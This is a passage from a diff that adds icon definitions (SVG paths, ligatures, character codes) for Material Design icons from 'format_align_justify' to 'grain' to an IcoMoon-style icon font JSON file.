"tags": [ + "format_align_justify" + ], + "defaultCode": 57909, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_align_justify", + "id": 321, + "order": 332, + "prevSize": 24, + "code": 57909, + "name": "format_align_justify" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 321 + }, + { + "icon": { + "paths": [ + "M128 128h768v86h-768v-86zM128 896v-86h768v86h-768zM128 554v-84h768v84h-768zM640 298v86h-512v-86h512zM640 640v86h-512v-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_align_left" + ], + "defaultCode": 57910, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_align_left", + "id": 322, + "order": 333, + "prevSize": 24, + "code": 57910, + "name": "format_align_left" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 322 + }, + { + "icon": { + "paths": [ + "M128 128h768v86h-768v-86zM384 384v-86h512v86h-512zM128 554v-84h768v84h-768zM384 726v-86h512v86h-512zM128 896v-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_align_right" + ], + "defaultCode": 57911, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_align_right", + "id": 323, + "order": 334, + "prevSize": 24, + "code": 57911, + "name": "format_align_right" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 323 + }, + { + "icon": { + "paths": [ + "M576 662c36 0 64-28 64-64s-28-64-64-64h-150v128h150zM426 278v128h128c36 0 64-28 64-64s-28-64-64-64h-128zM666 460c56 26 92 82 92 146 0 90-68 162-158 162h-302v-598h268c96 0 170 76 170 172 0 44-28 90-70 118z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_bold" + ], + "defaultCode": 57912, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_bold", + "id": 324, + "order": 335, + "prevSize": 24, + "code": 57912, + "name": "format_bold" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 324 + }, + { + "icon": { + "paths": [ + "M256 214h598v128h-248l-68 160-90-88 30-72h-102l-120-120v-8zM140 214l12 10 616 618-54 54-242-242-66 156h-128l104-246-296-296z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_clear" + ], + "defaultCode": 57913, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_clear", + "id": 325, + "order": 336, + "prevSize": 24, + "code": 57913, + "name": "format_clear" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 325 + }, + { + "icon": { + "paths": [ + "M0 854h1024v170h-1024v-170zM810 490c0 0 86 94 86 150 0 46-40 86-86 86s-84-40-84-86c0-56 84-150 84-150zM222 426h410l-206-204zM706 382c26 26 26 66 0 90l-234 234c-12 12-30 20-46 20s-32-8-44-20l-236-234c-26-24-26-64 0-90l220-220-102-102 62-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_color_fill" + ], + "defaultCode": 57914, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_color_fill", + "id": 326, + "order": 337, + "prevSize": 24, + "code": 57914, + "name": "format_color_fill" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 326 + }, + { + "icon": { + "paths": [ + "M224 224l624 624-54 54-114-112c-46 40-104 64-168 64-142 0-256-114-256-256 0-52 24-114 56-176l-142-142zM768 598c0 20-2 38-6 56l-366-368c60-86 116-150 116-150s256 292 256 462z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_color_reset" + ], + "defaultCode": 57915, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_color_reset", + "id": 327, + "order": 338, + "prevSize": 24, + "code": 57915, + "name": "format_color_reset" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 327 + }, + { + "icon": { + "paths": [ + "M410 512h204l-102-270zM470 128h84l234 598h-96l-46-128h-268l-48 128h-96zM0 854h1024v170h-1024v-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_color_text" + ], + "defaultCode": 57916, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_color_text", + "id": 328, + "order": 339, + "prevSize": 24, + "code": 57916, + "name": "format_color_text" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 328 + }, + { + "icon": { + "paths": [ + "M470 554v-84h426v84h-426zM470 384v-86h426v86h-426zM128 128h768v86h-768v-86zM128 896v-86h768v86h-768zM128 512l170-170v340zM470 726v-86h426v86h-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_indent_decrease" + ], + "defaultCode": 57917, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_indent_decrease", + "id": 329, + "order": 340, + "prevSize": 24, + "code": 57917, + "name": "format_indent_decrease" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 329 + }, + { + "icon": { + "paths": [ + "M470 554v-84h426v84h-426zM470 384v-86h426v86h-426zM128 128h768v86h-768v-86zM470 726v-86h426v86h-426zM128 342l170 170-170 170v-340zM128 896v-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_indent_increase" + ], + "defaultCode": 57918, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_indent_increase", + "id": 330, + "order": 341, + "prevSize": 24, + "code": 57918, + "name": "format_indent_increase" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 330 + }, + { + "icon": { + "paths": [ + "M426 170h342v128h-120l-144 342h94v128h-342v-128h120l144-342h-94v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_italic" + ], + "defaultCode": 57919, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_italic", + "id": 331, + "order": 342, + "prevSize": 24, + "code": 57919, + "name": "format_italic" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 331 + }, + { + "icon": { + "paths": [ + "M426 554v-84h512v84h-512zM426 810v-84h512v84h-512zM426 214h512v84h-512v-84zM256 298v428h106l-148 148-150-148h106v-428h-106l150-148 148 148h-106z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_line_spacing" + ], + "defaultCode": 57920, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_line_spacing", + "id": 332, + "order": 343, + "prevSize": 24, + "code": 57920, + "name": "format_line_spacing" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 332 + }, + { + "icon": { + "paths": [ + "M298 214h598v84h-598v-84zM298 554v-84h598v84h-598zM298 810v-84h598v84h-598zM170 704c36 0 64 30 64 64s-30 64-64 64-64-30-64-64 28-64 64-64zM170 192c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM170 448c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_list_bulleted" + ], + "defaultCode": 57921, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_list_bulleted", + "id": 333, + "order": 344, + "prevSize": 24, + "code": 57921, + "name": "format_list_bulleted" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 333 + }, + { + "icon": { + "paths": [ + "M298 554v-84h598v84h-598zM298 810v-84h598v84h-598zM298 214h598v84h-598v-84zM86 470v-44h128v40l-78 88h78v44h-128v-40l76-88h-76zM128 342v-128h-42v-44h84v172h-42zM86 726v-44h128v172h-128v-44h84v-20h-42v-44h42v-20h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_list_numbered" + ], + "defaultCode": 57922, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_list_numbered", + "id": 334, + "order": 345, + "prevSize": 24, + "code": 57922, + "name": "format_list_numbered" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 334 + }, + { + "icon": { + "paths": [ + "M768 170h128v342h-342v384c0 24-18 42-42 42h-86c-24 0-42-18-42-42v-470h426v-170h-42v42c0 24-18 44-42 44h-512c-24 0-44-20-44-44v-170c0-24 20-42 44-42h512c24 0 42 18 42 42v42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_paint" + ], + "defaultCode": 57923, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_paint", + "id": 335, + "order": 346, + "prevSize": 24, + "code": 57923, + "name": "format_paint" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 335 + }, + { + "icon": { + "paths": [ + "M598 726l84-172h-128v-256h256v256l-84 172h-128zM256 726l86-172h-128v-256h256v256l-86 172h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_quote" + ], + "defaultCode": 57924, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_quote", + "id": 336, + "order": 347, + "prevSize": 24, + "code": 57924, + "name": "format_quote" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 336 + }, + { + "icon": { + "paths": [ + "M456 544h112l-56-164zM586 598h-150l-30 84h-70l146-384h60l144 384h-68zM810 214h86v-86h-86v86zM896 896v-86h-86v86h86zM726 810v-84h84v-428h-84v-84h-428v84h-84v428h84v84h428zM214 896v-86h-86v86h86zM128 128v86h86v-86h-86zM982 298h-86v428h86v256h-256v-86h-428v86h-256v-256h86v-428h-86v-256h256v86h428v-86h256v256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_shapes" + ], + "defaultCode": 57950, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_shapes", + "id": 337, + "order": 348, + "prevSize": 24, + "code": 57950, + "name": "format_shapes" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 337 + }, + { + "icon": { + "paths": [ + "M128 512v-128h384v128h-128v298h-128v-298h-128zM384 170h554v128h-212v512h-128v-512h-214v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_size" + ], + "defaultCode": 57925, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_size", + "id": 338, + "order": 349, + "prevSize": 24, + "code": 57925, + "name": "format_size" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 338 + }, + { + "icon": { + "paths": [ + "M128 598v-86h768v86h-768zM214 170h596v128h-212v128h-172v-128h-212v-128zM426 810v-128h172v128h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_strikethrough" + ], + "defaultCode": 57926, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_strikethrough", + "id": 339, + "order": 350, + "prevSize": 24, + "code": 57926, + "name": "format_strikethrough" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 339 + }, + { + "icon": { + "paths": [ + "M896 768l-170 170v-128h-512v-84h512v-128zM384 426c-94 0-170-76-170-170s76-170 170-170h342v84h-86v470h-86v-470h-84v470h-86v-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_textdirection_l_to_r" + ], + "defaultCode": 57927, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_textdirection_l_to_r", + "id": 340, + "order": 351, + "prevSize": 24, + "code": 57927, + "name": "format_textdirection_l_to_r" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 340 + }, + { + "icon": { + "paths": [ + "M342 726h512v84h-512v128l-172-170 172-170v128zM426 426c-94 0-170-76-170-170s76-170 170-170h342v84h-86v470h-84v-470h-86v470h-86v-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_textdirection_r_to_l" + ], + "defaultCode": 57928, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_textdirection_r_to_l", + "id": 341, + "order": 352, + "prevSize": 24, + "code": 57928, + "name": "format_textdirection_r_to_l" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 341 + }, + { + "icon": { + "paths": [ + "M214 810h596v86h-596v-86zM512 726c-142 0-256-114-256-256v-342h106v342c0 82 68 148 150 148s150-66 150-148v-342h106v342c0 142-114 256-256 256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_underlined" + ], + "defaultCode": 57929, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_underlined", + "id": 342, + "order": 353, + "prevSize": 24, + "code": 57929, + "name": "format_underlined" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 342 + }, + { + "icon": { + "paths": [ + "M726 512c0 24-20 42-44 42h-426l-170 172v-598c0-24 18-42 42-42h554c24 0 44 18 44 42v384zM896 256c24 0 42 18 42 42v640l-170-170h-470c-24 0-42-18-42-42v-86h554v-384h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "question_answer" + ], + "defaultCode": 59567, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "forum, question_answer", + "id": 343, + "order": 354, + "prevSize": 24, + "code": 59567, + "name": "question_answer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 343 + }, + { + "icon": { + "paths": [ + "M512 342v-172l342 342-342 342v-172h-342v-340h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "forward" + ], + "defaultCode": 57684, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "forward", + "id": 344, + "order": 355, + "prevSize": 24, + "code": 57684, + "name": "forward2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 344 + }, + { + "icon": { + "paths": [ + "M564 648c0 6.531 12.65 14 20 14 4 0 10 0 14-4l8-10s4-8 4-12v-86c0 0-4-8-4-12 0-5.505-16.424-14-22-14-4 0-8 2-12 6l-8 8s-6 8-6 12v86s6 8 6 12zM644 606c0 12 0 26-4 34l-12 26s-14 12-22 12-18 4-26 4-18 0-26-4-12-8-20-12c-13.488-6.744-18-39.492-18-60v-30c0-12 0-26 4-34l14-26s12-12 20-12 18-4 26-4 18 0 26 4 14 8 22 12 8 14 12 26 4 22 4 34v30zM466 682h-40v-140l-42 12v-30l76-24h6v182zM170 554c0-188 154-340 342-340v-172l214 214-214 214v-172c-140 0-256 116-256 256s116 256 256 256 256-116 256-256h86c0 188-154 342-342 342s-342-154-342-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "forward_10" + ], + "defaultCode": 57430, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "forward_10", + "id": 345, + "order": 356, + "prevSize": 24, + "code": 57430, + "name": "forward_10" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 345 + }, + { + "icon": { + "paths": [ + "M170 554c0-188 154-340 342-340v-172l214 214-214 214v-172c-140 0-256 116-256 256s116 256 256 256 256-116 256-256h86c0 188-154 342-342 342s-342-154-342-342zM568 648c0 6.531 12.65 14 20 14 4 0 10 0 14-4l8-10s4-8 4-12v-86c0 0-4-8-4-12 0-5.505-16.424-14-22-14-4 0-8 2-12 6l-8 8s-4 8-4 12v86s4 8 4 12zM652 606c0 12 0 26-4 34l-12 26s-14 12-22 12-18 4-26 4c-20.252 0-32.299-9.149-46-16-8-4-8-14-12-26s-6-22-6-34v-30c0-12 2-26 6-34l12-26s14-12 22-12 16-4 24-4 18 0 26 4 14 8 22 12 8 14 12 26 4 22 4 34v30zM426 576c16.239 0 30-9.918 30-26v-8s-4-4-4-8-4-4-8-4h-22s-4 4-8 4-4 4-4 8v8h-44c0-19.788 17.639-46 36-46 4 0 16-4 20-4 17.345 0 35.264 5.632 48 12 10.13 5.065 16 24.218 16 38v14s-4 8-4 12-4 8-8 8-10 6-14 10c8 4 18 8 22 16s8 18 8 26 0 18-4 22-8 12-12 16-14 8-22 8-18 4-26 4-16 0-20-4-14-4-22-8c-11.162-5.581-18-27.017-18-42h36v8s4 4 4 8 4 4 8 4h22s4-4 8-4 4-4 4-8v-22s-4-4-4-8-4-4-8-4h-26v-30h16z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "forward_30" + ], + "defaultCode": 57431, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "forward_30", + "id": 346, + "order": 357, + "prevSize": 24, + "code": 57431, + "name": "forward_30" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 346 + }, + { + "icon": { + "paths": [ + "M500 580c-3.584 1.434-14 4.805-14 8 0 4-4 6-4 6h-26l10-94h102v30h-74l-4 38s4 0 4-4 6-2 6-6 4 0 8 0h8c8 0 18 2 22 6s12 8 16 12c8.873 8.873 18 27.257 18 46 0 8 0 18-4 22s-6 14-14 22c-11.246 11.246-26.59 16-46 16-8 0-18 0-22-4s-12-4-20-8c-11.191-5.596-18-22.554-18-38h34c0 14.809 10.59 20 26 20 4 0 8 0 12-4l10-8s4-8 4-12v-26l-4-8-10-10s-8-4-12-4h-8zM170 554c0-188 154-340 342-340v-172l214 214-214 214v-172c-140 0-256 116-256 256s116 256 256 256 256-116 256-256h86c0 188-154 342-342 342s-342-154-342-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "forward_5" + ], + "defaultCode": 57432, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "forward_5", + "id": 347, + "order": 358, + "prevSize": 24, + "code": 57432, + "name": "forward_5" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 347 + }, + { + "icon": { + "paths": [ + "M170 810h684v86h-684v-86zM854 342v-128h-86v128h86zM854 128c48 0 84 38 84 86v128c0 46-36 84-84 84h-86v128c0 94-76 172-170 172h-256c-94 0-172-78-172-172v-426h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "free_breakfast" + ], + "defaultCode": 60228, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "free_breakfast", + "id": 348, + "order": 359, + "prevSize": 24, + "code": 60228, + "name": "free_breakfast" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 348 + }, + { + "icon": { + "paths": [ + "M598 214h212v212h-84v-128h-128v-84zM726 726v-128h84v212h-212v-84h128zM214 426v-212h212v84h-128v128h-84zM298 598v128h128v84h-212v-212h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fullscreen" + ], + "defaultCode": 58832, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fullscreen", + "id": 349, + "order": 360, + "prevSize": 24, + "code": 58832, + "name": "fullscreen" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 349 + }, + { + "icon": { + "paths": [ + "M682 342h128v84h-212v-212h84v128zM598 810v-212h212v84h-128v128h-84zM342 342v-128h84v212h-212v-84h128zM214 682v-84h212v212h-84v-128h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fullscreen_exit" + ], + "defaultCode": 58833, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fullscreen_exit", + "id": 350, + "order": 361, + "prevSize": 24, + "code": 58833, + "name": "fullscreen_exit" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 350 + }, + { + "icon": { + "paths": [ + "M768 170v128h-298l212 214-212 214h298v128h-512v-86l278-256-278-256v-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "functions" + ], + "defaultCode": 57930, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "functions", + "id": 351, + "order": 362, + "prevSize": 24, + "code": 57930, + "name": "functions" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 351 + }, + { + "icon": { + "paths": [ + "M896 854v-556c0-24-18-42-42-42h-376l50 172h82v-44h46v44h154v44h-54c-14 54-44 106-82 150l116 114-30 32-116-114-38 38 34 118-86 86h300c24 0 42-18 42-42zM596 518c10 20 26 46 48 72 52-62 66-118 66-118h-170l14 46h42zM564 550l26 94 24-22c-20-22-36-46-50-72zM474 452c0-9.841-0.281-22.561-4-30h-168v66h94c-6 26-32 64-90 64-56 0-102-48-102-104s46-104 102-104c32 0 52 14 64 26l4 2 52-50-4-2c-32-30-72-46-116-46-96 0-174 78-174 174s78 174 174 174c98 0 168-70 168-170zM854 214c46 0 84 38 84 84v556c0 46-38 84-84 84h-342l-42-128h-300c-46 0-84-38-84-84v-556c0-46 38-84 84-84h256l38 128h390z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "g_translate" + ], + "defaultCode": 59687, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "g_translate", + "id": 352, + "order": 363, + "prevSize": 24, + "code": 59687, + "name": "g_translate" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 352 + }, + { + "icon": { + "paths": [ + "M704 384h234v256h-234l-128-128zM384 704l128-128 128 128v234h-256v-234zM320 384l128 128-128 128h-234v-256h234zM640 320l-128 128-128-128v-234h256v234z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "games" + ], + "defaultCode": 57377, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gamepad, games", + "id": 353, + "order": 364, + "prevSize": 24, + "code": 57377, + "name": "games" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 353 + }, + { + "icon": { + "paths": [ + "M164 404l240 242-120 120-242-240zM526 42l240 242-120 120-242-240zM224 344l120-120 604 604-120 120zM42 896h512v86h-512v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gavel" + ], + "defaultCode": 59662, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gavel", + "id": 354, + "order": 365, + "prevSize": 24, + "code": 59662, + "name": "gavel2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 354 + }, + { + "icon": { + "paths": [ + "M592 792c30 0 80-36 92-150-92 24-124 92-124 118 0 20 18 32 32 32zM196 294l-74-72c10-12 20-24 36-40 10-10 60-54 116-54 38 0 108 30 108 122 0 58-22 92-56 140-20 28-64 104-78 150-16 46-6 82 14 82 18 0 38-24 48-36 10-10 74-84 98-116 32-40 114-120 210-120 126 0 166 108 172 178h106v106h-104c-18 204-132 262-202 262-76 0-136-60-136-132s68-202 230-230c-4-34-6-76-76-76-54 0-122 82-174 146-48 58-84 104-130 118-99.552 31.437-170-56.487-170-146 0-104 112-252 122-270 12-20 34-56 12-64-14-6-42 22-72 52z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gesture" + ], + "defaultCode": 57685, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gesture", + "id": 355, + "order": 366, + "prevSize": 24, + "code": 57685, + "name": "gesture" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 355 + }, + { + "icon": { + "paths": [ + "M810 448h-128v42h86v64h-86v86h-64v-256h192v64zM384 384c26 0 42 20 42 42v22h-148v128h84v-64h64v86c0 22-16 42-42 42h-128c-26 0-42-20-42-42v-172c0-22 16-42 42-42h128zM490 384h64v256h-64v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gif" + ], + "defaultCode": 59656, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gif", + "id": 356, + "order": 367, + "prevSize": 24, + "code": 59656, + "name": "gif" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 356 + }, + { + "icon": { + "paths": [ + "M1022 388c2 2 2 8 0 10l-50 64c-2 2-6 4-8 4l-30-6-14 44c-6 10-20 10-26 0l-28-60-46-10-94 224 34 272c0 6-4 8-8 8h-40c-4 0-6-2-8-6l-40-162-20-34-50 196c0 4-4 6-8 6h-42c-4 0-8-4-8-8l46-270h-270l-70 132 16 136c2 6-2 10-8 10h-40c-2 0-6 0-8-4l-56-204-68 78 12 120c2 6-2 10-8 10h-44c-4 0-8-2-8-4l-26-112 42-164v-288s-46-18-46-60h548c0 0 96 2 190-66 0 0-16-44 12-72 0 0 56 40 72 50 20 12 34-10 28-28-4-12-18-56-90-84-9.158-3.053-30.421-4.736-26-18 0-4 4-6 8-6 88 12 140 84 154 116 2 4 40 30 36 76 0 6 0 10 4 14z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "goat" + ], + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "goat", + "id": 357, + "order": 368, + "prevSize": 24, + "code": 59648, + "name": "goat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 357 + }, + { + "icon": { + "paths": [ + "M726 252l-256 132v386c122 6 212 42 212 84 0 46-114 84-256 84s-256-38-256-84c0-32 52-60 128-74v74h86v-768zM768 832c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "golf_course" + ], + "defaultCode": 60229, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "golf_course", + "id": 358, + "order": 369, + "prevSize": 24, + "code": 60229, + "name": "golf_course" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 358 + }, + { + "icon": { + "paths": [ + "M512 810c166 0 298-132 298-298s-132-298-298-298-298 132-298 298 132 298 298 298zM894 470h88v84h-88c-20 178-162 320-340 340v88h-84v-88c-178-20-320-162-340-340h-88v-84h88c20-178 162-320 340-340v-88h84v88c178 20 320 162 340 340zM512 342c94 0 170 76 170 170s-76 170-170 170-170-76-170-170 76-170 170-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "my_location" + ], + "defaultCode": 58716, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gps_fixed, my_location", + "id": 359, + "order": 370, + "prevSize": 24, + "code": 58716, + "name": "my_location" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 359 + }, + { + "icon": { + "paths": [ + "M512 810c166 0 298-132 298-298s-132-298-298-298-298 132-298 298 132 298 298 298zM894 470h88v84h-88c-20 178-162 320-340 340v88h-84v-88c-178-20-320-162-340-340h-88v-84h88c20-178 162-320 340-340v-88h84v88c178 20 320 162 340 340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "location_searching" + ], + "defaultCode": 57783, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gps_not_fixed, location_searching", + "id": 360, + "order": 371, + "prevSize": 24, + "code": 57783, + "name": "location_searching" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 360 + }, + { + "icon": { + "paths": [ + "M694 748l-418-418c-38 50-62 114-62 182 0 166 132 298 298 298 68 0 132-24 182-62zM128 182l54-54 714 714-54 54-88-88c-56 46-124 78-200 86v88h-84v-88c-178-20-320-162-340-340h-88v-84h88c8-76 40-144 86-200zM894 470h88v84h-88c-6 48-20 96-42 136l-64-64c14-34 22-74 22-114 0-166-132-298-298-298-40 0-80 8-114 22l-64-64c42-22 88-36 136-42v-88h84v88c178 20 320 162 340 340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "location_disabled" + ], + "defaultCode": 57782, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gps_off, location_disabled", + "id": 361, + "order": 372, + "prevSize": 24, + "code": 57782, + "name": "location_disabled" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 361 + }, + { + "icon": { + "paths": [ + "M512 736l-264 160 70-300-232-202 306-26 120-282 120 282 306 26-232 202 70 300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star" + ], + "defaultCode": 59448, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "grade, star", + "id": 362, + "order": 373, + "prevSize": 24, + "code": 59448, + "name": "star2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 362 + }, + { + "icon": { + "paths": [ + "M810 470v-256h-596v256h84v84h86v86h86v-86h84v86h86v-86h86v-84h84zM726 768v-86h-86v86h86zM554 768v-86h-84v86h84zM384 768v-86h-86v86h86zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596zM298 384h86v86h-86v-86zM640 384h86v86h-86v-86zM470 384h84v86h86v84h-86v-84h-84v84h-86v-84h86v-86zM726 554v86h84v-86h-84zM298 554h-84v86h84v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gradient" + ], + "defaultCode": 58345, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "gradient", + "id": 363, + "order": 374, + "prevSize": 24, + "code": 58345, + "name": "gradient" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 363 + }, + { + "icon": { + "paths": [ + "M426 170c46 0 86 40 86 86s-40 86-86 86-84-40-84-86 38-86 84-86zM598 342c46 0 84 38 84 84s-38 86-84 86-86-40-86-86 40-84 86-84zM768 512c46 0 86 40 86 86s-40 84-86 84-86-38-86-84 40-86 86-86zM598 682c46 0 84 40 84 86s-38 86-84 86-86-40-86-86 40-86 86-86zM768 342c-46 0-86-40-86-86s40-86 86-86 86 40 86 86-40 86-86 86zM256 682c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM256 342c46 0 86 38 86 84s-40 86-86 86-86-40-86-86 40-84 86-84zM426 512c46 0 86 40 86 86s-40 84-86 84-84-38-84-84 38-86 84-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "grain" + ], + "defaultCode": 58346, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "grain", + "id": 364, + "order": 375, + "prevSize": 24, + "code": 58346, + "name": "grain" + }, + 